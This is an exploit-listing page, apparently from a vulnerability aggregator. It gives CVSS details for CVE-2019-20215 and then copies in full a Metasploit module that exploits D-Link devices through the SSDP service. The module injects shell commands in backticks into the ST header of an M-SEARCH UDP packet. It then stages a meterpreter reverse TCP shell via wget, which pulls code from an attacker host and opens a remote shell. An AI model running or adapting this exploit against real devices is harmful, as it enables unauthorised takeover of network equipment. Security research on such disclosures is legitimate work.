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D-Link ssdpcgi Unauthenticated Remote Command Execution

CVE	Category	Price	Severity
CVE-2019-20215	CWE-78	$5000	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-02-08

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020020031

Below is a copy:

D-Link ssdpcgi Unauthenticated Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
      'Description' => %q{
        D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
      },
      'Author'      =>
        [
          's1kr10s',
          'secenv'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2019-20215'],
          ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
        ],
      'DisclosureDate' => 'Dec 24 2019',
      'Privileged'     => true,
      'Platform'       => 'linux',
      'Arch'        => ARCH_MIPSBE,
      'DefaultOptions' =>
        {
            'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
            'CMDSTAGER::FLAVOR' => 'wget',
            'RPORT' => '1900'
        },
      'Targets'        =>
        [
          [ 'Auto',{ } ],
        ],
      'CmdStagerFlavor' => %w{ echo wget },
      'DefaultTarget'  => 0
      ))

  register_options(
    [
      Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
    ])
  end

  def exploit
    execute_cmdstager(linemax: 1500)
  end

  def execute_command(cmd, opts)
    type = datastore['VECTOR']
    if type == "URN"
      print_status("Target Payload URN")
      val = "urn:device:1;`#{cmd}`"
    else
      print_status("Target Payload UUID")
      val = "uuid:`#{cmd}`"
    end

    connect_udp
    header = "M-SEARCH * HTTP/1.1\r\n"
    header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
    header << "ST:#{val}\r\n"
    header << "Man:\"ssdp:discover\"\r\n"
    header << "MX:2\r\n\r\n"
    udp_sock.put(header)
    disconnect_udp
  end
end

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